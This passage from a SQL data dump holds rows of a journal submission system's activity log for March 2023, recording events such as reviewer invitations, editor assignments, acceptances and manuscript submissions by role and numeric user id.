Reviewer',13526,'Publisher',673),(125525,'2023-03-04 12:31:05','Publisher has Invited Reviewer',13526,'Publisher',673),(125526,'2023-03-04 12:31:10','Publisher has Invited Reviewer',13526,'Publisher',673),(125527,'2023-03-04 12:31:15','Publisher has Invited Reviewer',13526,'Publisher',673),(125528,'2023-03-04 12:31:19','Publisher has Invited Reviewer',13526,'Publisher',673),(125529,'2023-03-04 12:31:24','Publisher has Invited Reviewer',13526,'Publisher',673),(125530,'2023-03-04 12:31:29','Publisher has Invited Reviewer',13526,'Publisher',673),(125531,'2023-03-04 12:31:34','Publisher has Invited Reviewer',13526,'Publisher',673),(125532,'2023-03-04 12:31:39','Publisher has Invited Reviewer',13526,'Publisher',673),(125533,'2023-03-04 12:31:44','Publisher has Invited Reviewer',13526,'Publisher',673),(125534,'2023-03-04 12:31:48','Publisher has Invited Reviewer',13526,'Publisher',673),(125535,'2023-03-04 12:31:53','Publisher has Invited Reviewer',13526,'Publisher',673),(125536,'2023-03-04 12:31:58','Publisher has Invited Reviewer',13526,'Publisher',673),(125537,'2023-03-04 12:32:03','Publisher has Invited Reviewer',13526,'Publisher',673),(125538,'2023-03-04 12:32:08','Publisher has Invited Reviewer',13526,'Publisher',673),(125539,'2023-03-04 12:32:13','Publisher has Invited Reviewer',13526,'Publisher',673),(125540,'2023-03-04 12:32:17','Publisher has Invited Reviewer',13526,'Publisher',673),(125541,'2023-03-06 10:02:02','Editor has been Editor Decision Accepted article',13502,'Editor',195),(125542,'2023-03-06 10:03:16','Publisher: Accept Notification has been sent to Author',13502,'Publisher',48),(125543,'2023-03-06 10:04:25','Publisher has Unassign Editor',13501,'Publisher',48),(125544,'2023-03-06 10:14:41','Reviewer has submitted comments',13526,'Reviewer',21616),(125545,'2023-03-06 10:15:37','Manuscript Submitted by Publisher',13538,'Publisher',48),(125546,'2023-03-06 10:16:10','Editor has Accepted to review Manuscript',13526,'Editor',1456),(125547,'2023-03-06 10:16:21','Editor has been Editor Decision Accepted article',13526,'Editor',1456),(125548,'2023-03-06 11:13:42','Manuscript Submitted by Publisher',13540,'Publisher',75),(125549,'2023-03-06 13:45:12','Editor has Accepted to review Manuscript',13525,'Editor',161),(125550,'2023-03-06 13:45:18','Editor has been Editor Decision Accepted article',13525,'Editor',161),(125551,'2023-03-06 14:52:44','Publisher has been Accepted Articles  article',13526,'Publisher',673),(125552,'2023-03-06 19:59:07','Manuscript Submitted by Author using Submission form',13541,'Author',13709),(125553,'2023-03-09 10:52:07','Author sent Email',12759,'Author',12962),(125554,'2023-03-09 11:33:02','Publisher has been Assigned Editor',13541,'Publisher',48),(125555,'2023-03-09 13:46:23','Manuscript Submitted by Author using Submission form',13546,'Author',13710),(125556,'2023-03-09 13:48:46','Manuscript Submitted by Author using Submission form',13547,'Author',13711),(125557,'2023-03-09 13:51:38','Manuscript Submitted by Author using Submission form',13548,'Author',13712),(125558,'2023-03-10 09:34:53','Reviewer has submitted comments',13529,'Reviewer',17405),(125559,'2023-03-10 09:37:50','Reviewer has submitted comments',13529,'Reviewer',17383),(125560,'2023-03-10 09:38:56','Editor has Accepted to review Manuscript',13529,'Editor',1779),(125561,'2023-03-10 09:39:08','Editor has been Editor Decision Accepted article',13529,'Editor',1779),(125562,'2023-03-10 09:46:01','Manuscript Updated',13529,'Publisher',988),(125563,'2023-03-10 09:46:31','Publisher has been Accepted Articles  article',13529,'Publisher',988),(125564,'2023-03-10 09:46:40','Manuscript Updated',13529,'Publisher',988),(125565,'2023-03-10 10:46:19','Publisher has been Assigned Editor',13540,'Publisher',75),(125566,'2023-03-10 10:54:56','Publisher has Invited Reviewer',13540,'Publisher',75),(125567,'2023-03-10 10:55:01','Publisher has Invited Reviewer',13540,'Publisher',75),(125568,'2023-03-10 10:55:05','Publisher has Invited Reviewer',13540,'Publisher',75),(125569,'2023-03-10 10:55:10','Publisher has Invited Reviewer',13540,'Publisher',75),(125570,'2023-03-10 10:55:15','Publisher has Invited Reviewer',13540,'Publisher',75),(125571,'2023-03-10 10:55:20','Publisher has Invited Reviewer',13540,'Publisher',75),(125572,'2023-03-10 10:55:24','Publisher has Invited Reviewer',13540,'Publisher',75),(125573,'2023-03-10 10:55:29','Publisher has Invited Reviewer',13540,'Publisher',75),(125574,'2023-03-10 10:55:34','Publisher has Invited Reviewer',13540,'Publisher',75),(125575,'2023-03-10 10:55:38','Publisher has Invited Reviewer',13540,'Publisher',75),(125576,'2023-03-10 10:55:43','Publisher has Invited Reviewer',13540,'Publisher',75),(125577,'2023-03-10 10:55:48','Publisher has Invited Reviewer',13540,'Publisher',75),(125578,'2023-03-10 10:55:53','Publisher has Invited Reviewer',13540,'Publisher',75),(125579,'2023-03-10 10:55:57','Publisher has Invited Reviewer',13540,'Publisher',75),(125580,'2023-03-10 10:56:02','Publisher has Invited Reviewer',13540,'Publisher',75),(125581,'2023-03-10 10:56:07','Publisher has Invited Reviewer',13540,'Publisher',75),(125582,'2023-03-10 10:56:12','Publisher has Invited Reviewer',13540,'Publisher',75),(125583,'2023-03-10 10:56:17','Publisher has Invited Reviewer',13540,'Publisher',75),(125584,'2023-03-10 10:56:21','Publisher has Invited Reviewer',13540,'Publisher',75),(125585,'2023-03-10 10:56:26','Publisher has Invited Reviewer',13540,'Publisher',75),(125586,'2023-03-13 10:12:24','Manuscript Submitted by Publisher',13549,'',1050),(125587,'2023-03-13 11:33:56','Manuscript Submitted by Publisher',13550,'Publisher',85),(125588,'2023-03-13 11:37:06','Manuscript Submitted by Publisher',13551,'Publisher',85),(125589,'2023-03-13 11:40:21','Manuscript Submitted by Publisher',13552,'Publisher',85),(125590,'2023-03-13 11:44:12','Manuscript Submitted by Publisher',13553,'Publisher',85),(125591,'2023-03-13 11:47:42','Manuscript Submitted by Publisher',13554,'Publisher',85),(125592,'2023-03-13 11:57:09','Publisher has been Assigned Editor',13548,'Publisher',84),(125593,'2023-03-13 11:57:19','Publisher has been Assigned Editor',13547,'Publisher',84),(125594,'2023-03-13 11:57:28','Publisher has been Assigned Editor',13546,'Publisher',84),(125595,'2023-03-13 11:57:36','Publisher has been Assigned Editor',13536,'Publisher',84),(125596,'2023-03-13 11:57:55','Publisher has been Assigned Editor',13535,'Publisher',84),(125597,'2023-03-13 11:58:40','Publisher has been Assigned Editor',13534,'Publisher',84),(125598,'2023-03-13 11:58:50','Publisher has been Assigned Editor',13533,'Publisher',84),(125599,'2023-03-13 11:59:00','Publisher has been Assigned Editor',13532,'Publisher',84),(125600,'2023-03-13 11:59:10','Publisher has been Assigned Editor',13531,'Publisher',84),(125601,'2023-03-13 11:59:19','Publisher has been Assigned Editor',13528,'Publisher',84),(125602,'2023-03-13 11:59:42','Publisher has Invited Reviewer',13548,'Publisher',84),(125603,'2023-03-13 11:59:42','Publisher has Invited Reviewer',13548,'Publisher',84),(125604,'2023-03-13 11:59:43','Publisher has Invited Reviewer',13548,'Publisher',84),(125605,'2023-03-13 11:59:44','Publisher has Invited Reviewer',13548,'Publisher',84),(125606,'2023-03-13 11:59:45','Publisher has Invited Reviewer',13548,'Publisher',84),(125607,'2023-03-13 11:59:45','Publisher has Invited Reviewer',13548,'Publisher',84),(125608,'2023-03-13 11:59:46','Publisher has Invited Reviewer',13548,'Publisher',84),(125609,'2023-03-13 11:59:47','Publisher has Invited Reviewer',13548,'Publisher',84),(125610,'2023-03-13 11:59:48','Publisher has Invited Reviewer',13548,'Publisher',84),(125611,'2023-03-13 11:59:49','Publisher has Invited Reviewer',13548,'Publisher',84),(125612,'2023-03-13 11:59:50','Publisher has Invited Reviewer',13548,'Publisher',84),(125613,'2023-03-13 11:59:51','Publisher has Invited Reviewer',13548,'Publisher',84),(125614,'2023-03-13 11:59:52','Publisher has Invited Reviewer',13548,'Publisher',84),(125615,'2023-03-13 11:59:53','Publisher has Invited Reviewer',13548,'Publisher',84),(125616,'2023-03-13 11:59:53','Publisher has Invited Reviewer',13548,'Publisher',84),(125617,'2023-03-13 11:59:54','Publisher has Invited Reviewer',13548,'Publisher',84),(125618,'2023-03-13 11:59:55','Publisher has Invited Reviewer',13548,'Publisher',84),(125619,'2023-03-13 11:59:56','Publisher has Invited Reviewer',13548,'Publisher',84),(125620,'2023-03-13 11:59:57','Publisher has Invited Reviewer',13548,'Publisher',84),(125621,'2023-03-13 11:59:57','Publisher has Invited Reviewer',13548,'Publisher',84),(125622,'2023-03-13 12:00:57','Publisher has Invited Reviewer',13548,'Publisher',84),(125623,'2023-03-13 12:00:58','Publisher has Invited Reviewer',13548,'Publisher',84),(125624,'2023-03-13 12:00:59','Publisher has Invited Reviewer',13548,'Publisher',84),(125625,'2023-03-13 12:00:59','Publisher has Invited Reviewer',13548,'Publisher',84),(125626,'2023-03-13 12:01:00','Publisher has Invited Reviewer',13548,'Publisher',84),(125627,'2023-03-13 12:02:06','Publisher has Invited Reviewer',13547,'Publisher',84),(125628,'2023-03-13 12:02:06','Publisher has Invited Reviewer',13547,'Publisher',84),(125629,'2023-03-13 12:02:07','Publisher has Invited Reviewer',13547,'Publisher',84),(125630,'2023-03-13 12:02:08','Publisher has Invited Reviewer',13547,'Publisher',84),(125631,'2023-03-13 12:02:09','Publisher has Invited Reviewer',13547,'Publisher',84),(125632,'2023-03-13 12:02:09','Publisher has Invited Reviewer',13547,'Publisher',84),(125633,'2023-03-13 12:02:10','Publisher has Invited Reviewer',13547,'Publisher',84),(125634,'2023-03-13 12:02:11','Publisher has Invited Reviewer',13547,'Publisher',84),(125635,'2023-03-13 12:02:12','Publisher has Invited Reviewer',13547,'Publisher',84),(125636,'2023-03-13 12:02:13','Publisher has Invited Reviewer',13547,'Publisher',84),(125637,'2023-03-13 12:02:13','Publisher has Invited Reviewer',13547,'Publisher',84),(125638,'2023-03-13 12:02:14','Publisher has Invited Reviewer',13547,'Publisher',84),(125639,'2023-03-13 12:02:15','Publisher has Invited Reviewer',13547,'Publisher',84),(125640,'2023-03-13 12:02:16','Publisher has Invited Reviewer',13547,'Publisher',84),(125641,'2023-03-13 12:02:17','Publisher has Invited Reviewer',13547,'Publisher',84),(125642,'2023-03-13 12:02:18','Publisher has Invited Reviewer',13547,'Publisher',84),(125643,'2023-03-13 12:02:18','Publisher has Invited Reviewer',13547,'Publisher',84),(125644,'2023-03-13 12:02:20','Publisher has Invited Reviewer',13547,'Publisher',84),(125645,'2023-03-13 12:02:20','Publisher has Invited Reviewer',13547,'Publisher',84),(125646,'2023-03-13 12:02:21','Publisher has Invited Reviewer',13547,'Publisher',84),(125647,'2023-03-13 12:02:28','Publisher has Invited Reviewer',13547,'Publisher',84),(125648,'2023-03-13 12:02:29','Publisher has Invited Reviewer',13547,'Publisher',84),(125649,'2023-03-13 12:02:29','Publisher has Invited Reviewer',13547,'Publisher',84),(125650,'2023-03-13 12:02:30','Publisher has Invited Reviewer',13547,'Publisher',84),(125651,'2023-03-13 12:02:31','Publisher has Invited Reviewer',13547,'Publisher',84),(125652,'2023-03-13 12:03:23','Publisher has Invited Reviewer',13546,'Publisher',84),(125653,'2023-03-13 12:03:24','Publisher has Invited Reviewer',13546,'Publisher',84),(125654,'2023-03-13 12:03:25','Publisher has Invited Reviewer',13546,'Publisher',84),(125655,'2023-03-13 12:03:25','Publisher has Invited Reviewer',13546,'Publisher',84),(125656,'2023-03-13 12:03:26','Publisher has Invited Reviewer',13546,'Publisher',84),(125657,'2023-03-13 12:03:27','Publisher has Invited Reviewer',13546,'Publisher',84),(125658,'2023-03-13 12:03:28','Publisher has Invited Reviewer',13546,'Publisher',84),(125659,'2023-03-13 12:03:29','Publisher has Invited Reviewer',13546,'Publisher',84),(125660,'2023-03-13 12:03:29','Publisher has Invited Reviewer',13546,'Publisher',84),(125661,'2023-03-13 12:03:30','Publisher has Invited Reviewer',13546,'Publisher',84),(125662,'2023-03-13 12:03:31','Publisher has Invited Reviewer',13546,'Publisher',84),(125663,'2023-03-13 12:03:32','Publisher has Invited Reviewer',13546,'Publisher',84),(125664,'2023-03-13 12:03:32','Publisher has Invited Reviewer',13546,'Publisher',84),(125665,'2023-03-13 12:03:33','Publisher has Invited Reviewer',13546,'Publisher',84),(125666,'2023-03-13 12:03:34','Publisher has Invited Reviewer',13546,'Publisher',84),(125667,'2023-03-13 12:03:35','Publisher has Invited Reviewer',13546,'Publisher',84),(125668,'2023-03-13 12:03:36','Publisher has Invited Reviewer',13546,'Publisher',84),(125669,'2023-03-13 12:03:36','Publisher has Invited Reviewer',13546,'Publisher',84),(125670,'2023-03-13 12:03:37','Publisher has Invited Reviewer',13546,'Publisher',84),(125671,'2023-03-13 12:03:38','Publisher has Invited Reviewer',13546,'Publisher',84),(125672,'2023-03-13 12:03:44','Publisher has Invited Reviewer',13546,'Publisher',84),(125673,'2023-03-13 12:03:44','Publisher has Invited Reviewer',13546,'Publisher',84),(125674,'2023-03-13 12:03:45','Publisher has Invited Reviewer',13546,'Publisher',84),(125675,'2023-03-13 12:03:46','Publisher has Invited Reviewer',13546,'Publisher',84),(125676,'2023-03-13 12:03:46','Publisher has Invited Reviewer',13546,'Publisher',84),(125677,'2023-03-13 12:04:30','Publisher has Invited Reviewer',13536,'Publisher',84),(125678,'2023-03-13 12:04:31','Publisher has Invited Reviewer',13536,'Publisher',84),(125679,'2023-03-13 12:04:32','Publisher has Invited Reviewer',13536,'Publisher',84),(125680,'2023-03-13 12:04:32','Publisher has Invited Reviewer',13536,'Publisher',84),(125681,'2023-03-13 12:04:33','Publisher has Invited Reviewer',13536,'Publisher',84),(125682,'2023-03-13 12:04:34','Publisher has Invited Reviewer',13536,'Publisher',84),(125683,'2023-03-13 12:04:35','Publisher has Invited Reviewer',13536,'Publisher',84),(125684,'2023-03-13 12:04:36','Publisher has Invited Reviewer',13536,'Publisher',84),(125685,'2023-03-13 12:04:36','Publisher has Invited Reviewer',13536,'Publisher',84),(125686,'2023-03-13 12:04:37','Publisher has Invited Reviewer',13536,'Publisher',84),(125687,'2023-03-13 12:04:38','Publisher has Invited Reviewer',13536,'Publisher',84),(125688,'2023-03-13 12:04:39','Publisher has Invited Reviewer',13536,'Publisher',84),(125689,'2023-03-13 12:04:39','Publisher has Invited Reviewer',13536,'Publisher',84),(125690,'2023-03-13 12:04:40','Publisher has Invited Reviewer',13536,'Publisher',84),(125691,'2023-03-13 12:04:41','Publisher has Invited Reviewer',13536,'Publisher',84),(125692,'2023-03-13 12:04:42','Publisher has Invited Reviewer',13536,'Publisher',84),(125693,'2023-03-13 12:04:42','Publisher has Invited Reviewer',13536,'Publisher',84),(125694,'2023-03-13 12:04:43','Publisher has Invited Reviewer',13536,'Publisher',84),(125695,'2023-03-13 12:04:43','Publisher has Invited Reviewer',13536,'Publisher',84),(125696,'2023-03-13 12:04:44','Publisher has Invited Reviewer',13536,'Publisher',84),(125697,'2023-03-13 12:04:45','Publisher has Invited Reviewer',13536,'Publisher',84),(125698,'2023-03-13 12:04:46','Publisher has Invited Reviewer',13536,'Publisher',84),(125699,'2023-03-13 12:04:47','Publisher has Invited Reviewer',13536,'Publisher',84),(125700,'2023-03-13 12:04:48','Publisher has Invited Reviewer',13536,'Publisher',84),(125701,'2023-03-13 12:04:49','Publisher has Invited Reviewer',13536,'Publisher',84),(125702,'2023-03-13 12:05:21','Publisher has Invited Reviewer',13535,'Publisher',84),(125703,'2023-03-13 12:05:22','Publisher has Invited Reviewer',13535,'Publisher',84),(125704,'2023-03-13 12:05:22','Publisher has Invited Reviewer',13535,'Publisher',84),(125705,'2023-03-13 12:05:23','Publisher has Invited Reviewer',13535,'Publisher',84),(125706,'2023-03-13 12:05:24','Publisher has Invited Reviewer',13535,'Publisher',84),(125707,'2023-03-13 12:05:24','Publisher has Invited Reviewer',13535,'Publisher',84),(125708,'2023-03-13 12:05:26','Publisher has Invited Reviewer',13535,'Publisher',84),(125709,'2023-03-13 12:05:26','Publisher has Invited Reviewer',13535,'Publisher',84),(125710,'2023-03-13 12:05:27','Publisher has Invited Reviewer',13535,'Publisher',84),(125711,'2023-03-13 12:05:28','Publisher has Invited Reviewer',13535,'Publisher',84),(125712,'2023-03-13 12:05:28','Publisher has Invited Reviewer',13535,'Publisher',84),(125713,'2023-03-13 12:05:29','Publisher has Invited Reviewer',13535,'Publisher',84),(125714,'2023-03-13 12:05:30','Publisher has Invited Reviewer',13535,'Publisher',84),(125715,'2023-03-13 12:05:31','Publisher has Invited Reviewer',13535,'Publisher',84),(125716,'2023-03-13 12:05:31','Publisher has Invited Reviewer',13535,'Publisher',84),(125717,'2023-03-13 12:05:32','Publisher has Invited Reviewer',13535,'Publisher',84),(125718,'2023-03-13 12:05:33','Publisher has Invited Reviewer',13535,'Publisher',84),(125719,'2023-03-13 12:05:34','Publisher has Invited Reviewer',13535,'Publisher',84),(125720,'2023-03-13 12:05:35','Publisher has Invited Reviewer',13535,'Publisher',84),(125721,'2023-03-13 12:05:35','Publisher has Invited Reviewer',13535,'Publisher',84),(125722,'2023-03-13 12:05:46','Publisher has Invited Reviewer',13535,'Publisher',84),(125723,'2023-03-13 12:05:47','Publisher has Invited Reviewer',13535,'Publisher',84),(125724,'2023-03-13 12:05:47','Publisher has Invited Reviewer',13535,'Publisher',84),(125725,'2023-03-13 12:05:48','Publisher has Invited Reviewer',13535,'Publisher',84),(125726,'2023-03-13 12:05:49','Publisher has Invited Reviewer',13535,'Publisher',84),(125727,'2023-03-13 12:06:21','Publisher has Invited Reviewer',13534,'Publisher',84),(125728,'2023-03-13 12:06:22','Publisher has Invited Reviewer',13534,'Publisher',84),(125729,'2023-03-13 12:06:23','Publisher has Invited Reviewer',13534,'Publisher',84),(125730,'2023-03-13 12:06:23','Publisher has Invited Reviewer',13534,'Publisher',84),(125731,'2023-03-13 12:06:24','Publisher has Invited Reviewer',13534,'Publisher',84),(125732,'2023-03-13 12:06:25','Publisher has Invited Reviewer',13534,'Publisher',84),(125733,'2023-03-13 12:06:26','Publisher has Invited Reviewer',13534,'Publisher',84),(125734,'2023-03-13 12:06:27','Publisher has Invited Reviewer',13534,'Publisher',84),(125735,'2023-03-13 12:06:28','Publisher has Invited Reviewer',13534,'Publisher',84),(125736,'2023-03-13 12:06:28','Publisher has Invited Reviewer',13534,'Publisher',84),(125737,'2023-03-13 12:06:29','Publisher has Invited Reviewer',13534,'Publisher',84),(125738,'2023-03-13 12:06:30','Publisher has Invited Reviewer',13534,'Publisher',84),(125739,'2023-03-13 12:06:31','Publisher has Invited Reviewer',13534,'Publisher',84),(125740,'2023-03-13 12:06:32','Publisher has Invited Reviewer',13534,'Publisher',84),(125741,'2023-03-13 12:06:32','Publisher has Invited Reviewer',13534,'Publisher',84),(125742,'2023-03-13 12:06:33','Publisher has Invited Reviewer',13534,'Publisher',84),(125743,'2023-03-13 12:06:34','Publisher has Invited Reviewer',13534,'Publisher',84),(125744,'2023-03-13 12:06:35','Publisher has Invited Reviewer',13534,'Publisher',84),(125745,'2023-03-13 12:06:36','Publisher has Invited Reviewer',13534,'Publisher',84),(125746,'2023-03-13 12:06:37','Publisher has Invited Reviewer',13534,'Publisher',84),(125747,'2023-03-13 12:06:49','Publisher has Invited Reviewer',13534,'Publisher',84),(125748,'2023-03-13 12:06:50','Publisher has Invited Reviewer',13534,'Publisher',84),(125749,'2023-03-13 12:06:51','Publisher has Invited Reviewer',13534,'Publisher',84),(125750,'2023-03-13 12:06:52','Publisher has Invited Reviewer',13534,'Publisher',84),(125751,'2023-03-13 12:06:52','Publisher has Invited Reviewer',13534,'Publisher',84),(125752,'2023-03-13 12:07:26','Publisher has Invited Reviewer',13533,'Publisher',84),(125753,'2023-03-13 12:07:27','Publisher has Invited Reviewer',13533,'Publisher',84),(125754,'2023-03-13 12:07:27','Publisher has Invited Reviewer',13533,'Publisher',84),(125755,'2023-03-13 12:07:28','Publisher has Invited Reviewer',13533,'Publisher',84),(125756,'2023-03-13 12:07:29','Publisher has Invited Reviewer',13533,'Publisher',84),(125757,'2023-03-13 12:07:30','Publisher has Invited Reviewer',13533,'Publisher',84),(125758,'2023-03-13 12:07:30','Publisher has Invited Reviewer',13533,'Publisher',84),(125759,'2023-03-13 12:07:31','Publisher has Invited Reviewer',13533,'Publisher',84),(125760,'2023-03-13 12:07:32','Publisher has Invited Reviewer',13533,'Publisher',84),(125761,'2023-03-13 12:07:32','Publisher has Invited Reviewer',13533,'Publisher',84),(125762,'2023-03-13 12:07:33','Publisher has Invited Reviewer',13533,'Publisher',84),(125763,'2023-03-13 12:07:34','Publisher has Invited Reviewer',13533,'Publisher',84),(125764,'2023-03-13 12:07:35','Publisher has Invited Reviewer',13533,'Publisher',84),(125765,'2023-03-13 12:07:36','Publisher has Invited Reviewer',13533,'Publisher',84),(125766,'2023-03-13 12:07:37','Publisher has Invited Reviewer',13533,'Publisher',84),(125767,'2023-03-13 12:07:38','Publisher has Invited Reviewer',13533,'Publisher',84),(125768,'2023-03-13 12:07:38','Publisher has Invited Reviewer',13533,'Publisher',84),(125769,'2023-03-13 12:07:39','Publisher has Invited Reviewer',13533,'Publisher',84),(125770,'2023-03-13 12:07:40','Publisher has Invited Reviewer',13533,'Publisher',84),(125771,'2023-03-13 12:07:41','Publisher has Invited Reviewer',13533,'Publisher',84),(125772,'2023-03-13 12:07:49','Publisher has Invited Reviewer',13533,'Publisher',84),(125773,'2023-03-13 12:07:50','Publisher has Invited Reviewer',13533,'Publisher',84),(125774,'2023-03-13 12:07:51','Publisher has Invited Reviewer',13533,'Publisher',84),(125775,'2023-03-13 12:07:52','Publisher has Invited Reviewer',13533,'Publisher',84),(125776,'2023-03-13 12:07:53','Publisher has Invited Reviewer',13533,'Publisher',84),(125777,'2023-03-13 12:08:41','Publisher has Invited Reviewer',13532,'Publisher',84),(125778,'2023-03-13 12:08:42','Publisher has Invited Reviewer',13532,'Publisher',84),(125779,'2023-03-13 12:08:42','Publisher has Invited Reviewer',13532,'Publisher',84),(125780,'2023-03-13 12:08:43','Publisher has Invited Reviewer',13532,'Publisher',84),(125781,'2023-03-13 12:08:44','Publisher has Invited Reviewer',13532,'Publisher',84),(125782,'2023-03-13 12:08:45','Publisher has Invited Reviewer',13532,'Publisher',84),(125783,'2023-03-13 12:08:46','Publisher has Invited Reviewer',13532,'Publisher',84),(125784,'2023-03-13 12:08:46','Publisher has Invited Reviewer',13532,'Publisher',84),(125785,'2023-03-13 12:08:47','Publisher has Invited Reviewer',13532,'Publisher',84),(125786,'2023-03-13 12:08:48','Publisher has Invited Reviewer',13532,'Publisher',84),(125787,'2023-03-13 12:08:49','Publisher has Invited Reviewer',13532,'Publisher',84),(125788,'2023-03-13 12:08:50','Publisher has Invited Reviewer',13532,'Publisher',84),(125789,'2023-03-13 12:08:51','Publisher has Invited Reviewer',13532,'Publisher',84),(125790,'2023-03-13 12:08:51','Publisher has Invited Reviewer',13532,'Publisher',84),(125791,'2023-03-13 12:08:52','Publisher has Invited Reviewer',13532,'Publisher',84),(125792,'2023-03-13 12:08:53','Publisher has Invited Reviewer',13532,'Publisher',84),(125793,'2023-03-13 12:08:54','Publisher has Invited Reviewer',13532,'Publisher',84),(125794,'2023-03-13 12:08:54','Publisher has Invited Reviewer',13532,'Publisher',84),(125795,'2023-03-13 12:08:55','Publisher has Invited Reviewer',13532,'Publisher',84),(125796,'2023-03-13 12:08:56','Publisher has Invited Reviewer',13532,'Publisher',84),(125797,'2023-03-13 12:09:04','Publisher has Invited Reviewer',13532,'Publisher',84),(125798,'2023-03-13 12:09:04','Publisher has Invited Reviewer',13532,'Publisher',84),(125799,'2023-03-13 12:09:05','Publisher has Invited Reviewer',13532,'Publisher',84),(125800,'2023-03-13 12:09:06','Publisher has Invited Reviewer',13532,'Publisher',84),(125801,'2023-03-13 12:09:07','Publisher has Invited Reviewer',13532,'Publisher',84),(125802,'2023-03-13 15:06:15','Publisher has Invited Reviewer',13541,'Publisher',48),(125803,'2023-03-13 15:06:20','Publisher has Invited Reviewer',13541,'Publisher',48),(125804,'2023-03-13 15:06:25','Publisher has Invited Reviewer',13541,'Publisher',48),(125805,'2023-03-13 15:06:30','Publisher has Invited Reviewer',13541,'Publisher',48),(125806,'2023-03-13 15:06:35','Publisher has Invited Reviewer',13541,'Publisher',48),(125807,'2023-03-13 16:50:29','Manuscript Submitted by Publisher',13555,'Publisher',48),(125808,'2023-03-13 17:52:19','Manuscript Submitted by Publisher',13556,'',1050),(125809,'2023-03-14 09:52:46','Editor has Accepted to review Manuscript',13496,'Editor',1406),(125810,'2023-03-14 09:53:02','Editor has been Editor Decision Accepted article',13496,'Editor',1406),(125811,'2023-03-14 10:43:36','Publisher has been Accepted Articles  article',13502,'Publisher',48),(125812,'2023-03-14 11:55:49','Publisher has been Assigned Editor',13559,'Publisher',248),(125813,'2023-03-14 11:56:10','Publisher has been Assigned Editor',13558,'Publisher',248),(125814,'2023-03-14 13:13:14','Publisher has been Accepted Articles  article',12960,'',1445),(125815,'2023-03-14 13:14:58','Publisher has been Assigned Editor',13554,'Publisher',85),(125816,'2023-03-14 13:15:22','Publisher has been Assigned Editor',13553,'Publisher',85),(125817,'2023-03-14 13:15:38','Publisher has been Assigned Editor',13552,'Publisher',85),(125818,'2023-03-14 13:15:58','Publisher has been Assigned Editor',13551,'Publisher',85),(125819,'2023-03-14 13:16:24','Publisher has been Assigned Editor',13550,'Publisher',85),(125820,'2023-03-14 13:17:09','Editor has Accepted to review Manuscript',13550,'Editor',1394),(125821,'2023-03-14 13:17:26','Editor has been Editor Decision Accepted article',13550,'Editor',1394),(125822,'2023-03-14 13:17:33','Editor has Accepted to review Manuscript',13551,'Editor',1394),(125823,'2023-03-14 13:17:53','Editor has been Editor Decision Accepted article',13551,'Editor',1394),(125824,'2023-03-14 13:18:05','Editor has Accepted to review Manuscript',13552,'Editor',1394),(125825,'2023-03-14 13:18:12','Editor has been Editor Decision Accepted article',13552,'Editor',1394),(125826,'2023-03-14 13:18:20','Editor has Accepted to review Manuscript',13553,'Editor',1394),(125827,'2023-03-14 13:18:26','Reviewer has submitted comments',13502,'Reviewer',14685),(125828,'2023-03-14 13:18:27','Editor has been Editor Decision Accepted article',13553,'Editor',1394),(125829,'2023-03-14 13:18:40','Editor has Accepted to review Manuscript',13554,'Editor',1394),(125830,'2023-03-14 13:18:47','Editor has been Editor Decision Accepted article',13554,'Editor',1394),(125831,'2023-03-14 13:19:16','Manuscript Submitted by Author using Submission form',13560,'Author',13721),(125832,'2023-03-14 13:22:09','Manuscript Submitted by Author using Submission form',13561,'Author',13722),(125833,'2023-03-14 13:29:16','Manuscript Submitted by Author using Submission form',13562,'Author',13723),(125834,'2023-03-14 13:35:04','Manuscript Submitted by Author using Submission form',13563,'Author',13724),(125835,'2023-03-14 13:39:06','Manuscript Submitted by Author using Submission form',13564,'Author',13725),(125836,'2023-03-14 13:49:15','Publisher has Invited Reviewer',13501,'Publisher',48),(125837,'2023-03-14 13:49:20','Publisher has Invited Reviewer',13501,'Publisher',48),(125838,'2023-03-14 13:49:25','Publisher has Invited Reviewer',13501,'Publisher',48),(125839,'2023-03-14 13:49:29','Publisher has Invited Reviewer',13501,'Publisher',48),(125840,'2023-03-14 13:49:34','Publisher has Invited Reviewer',13501,'Publisher',48),(125841,'2023-03-14 14:05:51','Publisher has been Withdrawn  article',13505,'Publisher',85),(125842,'2023-03-14 14:06:09','Publisher has been Withdrawn  article',13503,'Publisher',85),(125843,'2023-03-14 14:06:21','Publisher has been Withdrawn  article',13504,'Publisher',85),(125844,'2023-03-14 14:07:50','Manuscript Updated',13550,'Publisher',85),(125845,'2023-03-14 14:08:23','Publisher has been Accepted Articles  article',13550,'Publisher',85),(125846,'2023-03-14 14:08:37','Manuscript Updated',13550,'Publisher',85),(125847,'2023-03-14 14:08:56','Manuscript Updated',13551,'Publisher',85),(125848,'2023-03-14 14:09:13','Publisher has been Accepted Articles  article',13551,'Publisher',85),(125849,'2023-03-14 14:09:25','Manuscript Updated',13551,'Publisher',85),(125850,'2023-03-14 14:09:29','Manuscript Updated',13551,'Publisher',85),(125851,'2023-03-14 14:09:33','Manuscript Updated',13551,'Publisher',85),(125852,'2023-03-14 14:09:38','Manuscript Updated',13551,'Publisher',85),(125853,'2023-03-14 14:09:39','Manuscript Updated',13551,'Publisher',85),(125854,'2023-03-14 14:09:40','Manuscript Updated',13551,'Publisher',85),(125855,'2023-03-14 14:10:03','Manuscript Updated',13552,'Publisher',85),(125856,'2023-03-14 14:10:22','Publisher has been Accepted Articles  article',13552,'Publisher',85),(125857,'2023-03-14 14:10:23','Publisher has been Accepted Articles  article',13552,'Publisher',85),(125858,'2023-03-14 14:14:14','Manuscript Updated',13554,'Publisher',85),(125859,'2023-03-14 14:14:28','Publisher has been Accepted Articles  article',13554,'Publisher',85),(125860,'2023-03-14 14:14:43','Manuscript Updated',13554,'Publisher',85),(125861,'2023-03-14 14:15:16','Manuscript Updated',13553,'Publisher',85),(125862,'2023-03-14 14:15:52','Publisher has been Accepted Articles  article',13553,'Publisher',85),(125863,'2023-03-14 14:16:06','Manuscript Updated',13553,'Publisher',85),(125864,'2023-03-14 14:19:43','Manuscript Submitted by Author using Submission form',13565,'Author',13726),(125865,'2023-03-14 14:43:24','Manuscript Submitted by Author using Submission form',13566,'Author',13727),(125866,'2023-03-14 14:59:37','Publisher has been Assigned Editor',13555,'Publisher',48),(125867,'2023-03-14 15:16:08','Manuscript Submitted by Publisher',13567,'Publisher',48),(125868,'2023-03-14 16:38:29','Manuscript Submitted by Publisher',13568,'Publisher',319),(125869,'2023-03-14 16:59:03','Manuscript Submitted by Publisher',13569,'Publisher',319),(125870,'2023-03-14 17:03:37','Manuscript Submitted by Author using Submission form',13570,'Author',13730),(125871,'2023-03-14 17:06:00','Manuscript Submitted by Publisher',13571,'Publisher',319),(125872,'2023-03-14 17:06:07','Manuscript Submitted by Author using Submission 